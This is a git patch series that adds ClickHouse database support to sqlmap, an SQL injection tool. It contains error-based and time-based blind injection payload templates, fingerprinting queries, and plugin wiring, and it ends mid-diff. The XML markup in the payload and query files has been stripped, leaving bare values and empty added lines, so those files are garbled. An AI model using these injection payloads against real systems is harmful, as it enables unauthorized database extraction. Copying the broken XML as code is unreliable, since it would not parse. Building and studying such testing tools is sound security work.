--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -853,6 +853,26 @@
         
     
 
+
+    
+        Clickhouse AND error-based - Parameter replace
+        2
+        2
+        1
+        1,2,3,9
+        1
+        AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)
+        
+            AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)
+        
+        
+            [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+        
+        
+ Clickhouse +
+
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dfd9a2d2604..f181a758e4c 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,6 +1494,26 @@ + + + Clickhouse AND time-based blind (heavy query) - fuzzBits + 5 + 3 + 1 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ Clickhouse +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index deda4364d9c..82570ce7e4c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,6 +1319,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 227a2ceb73f..0e3c1999f92 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -14,6 +14,7 @@ from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES @@ -46,6 +47,8 @@ from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap +from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn +from plugins.dbms.clickhouse import ClickhouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -122,6 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 157adc2aded..ee455729afc 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -38,6 +38,7 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -241,6 +242,7 @@ DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), @@ -286,6 +288,7 @@ DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "coalesce(NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 188bd9fc3c9..4fba2821879 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,6 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" + CLICKHOUSE = "Clickhouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" @@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object): PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index 54160a19557..05f1bad9d14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -283,6 +283,7 @@ ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -313,6 +314,7 @@ MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) @@ -321,10 +323,10 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1d73022877d..c13e66a28cb 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -58,6 +58,8 @@ def checkDependencies(): __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..2036e49eb0a --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,23 @@ +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines clickhouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..e9a9bda215c --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..d2bf574111c --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..af9b2e07f2e --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..89c926ab9ea --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False \ No newline at end of file diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..86f120e7f80 --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression \ No newline at end of file diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..f9539ee668a --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + pass \ No newline at end of file diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b69c9f67ee6..b924e9980e7 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -83,7 +83,7 @@ def getCurrentDb(self): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -108,7 +108,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -621,7 +621,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -757,7 +757,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -838,7 +838,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): @@ -880,7 +880,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index a8e0bce7a16..609eb44321f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -408,7 +408,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) From b1aaac5ba28bb20e8ec8346704baed15ce192c17 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:14:29 +0100 Subject: [PATCH 057/524] Minor update --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 11 +++++++++-- plugins/dbms/clickhouse/connector.py | 4 ++-- plugins/dbms/clickhouse/enumeration.py | 4 ++-- plugins/dbms/clickhouse/filesystem.py | 4 ++-- plugins/dbms/clickhouse/fingerprint.py | 4 ++-- plugins/dbms/clickhouse/syntax.py | 4 ++-- plugins/dbms/clickhouse/takeover.py | 4 ++-- 8 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 05f1bad9d14..b7496e467ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.0" +VERSION = "1.7.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 2036e49eb0a..88db47a8052 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,3 +1,10 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + from lib.core.enums import DBMS from lib.core.settings import CLICKHOUSE_SYSTEM_DBS from lib.core.unescaper import unescaper @@ -11,7 +18,7 @@ class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines clickhouse methods + This class defines Clickhouse methods """ def __init__(self): @@ -20,4 +27,4 @@ def __init__(self): for cls in self.__class__.__bases__: cls.__init__(self) - unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index e9a9bda215c..76d1d77e181 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,4 +11,4 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index d2bf574111c..4a1cdb92ff1 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,4 +9,4 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index af9b2e07f2e..5991a52d8ac 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 89c926ab9ea..5b2b5fe3c5e 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -88,4 +88,4 @@ def checkDbms(self): warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE logger.warn(warnMsg) - return False \ No newline at end of file + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 86f120e7f80..5adee2f519f 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,4 +15,4 @@ def escape(expression, quote=True): True """ - return expression \ No newline at end of file + return expression diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f9539ee668a..f061c246972 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ 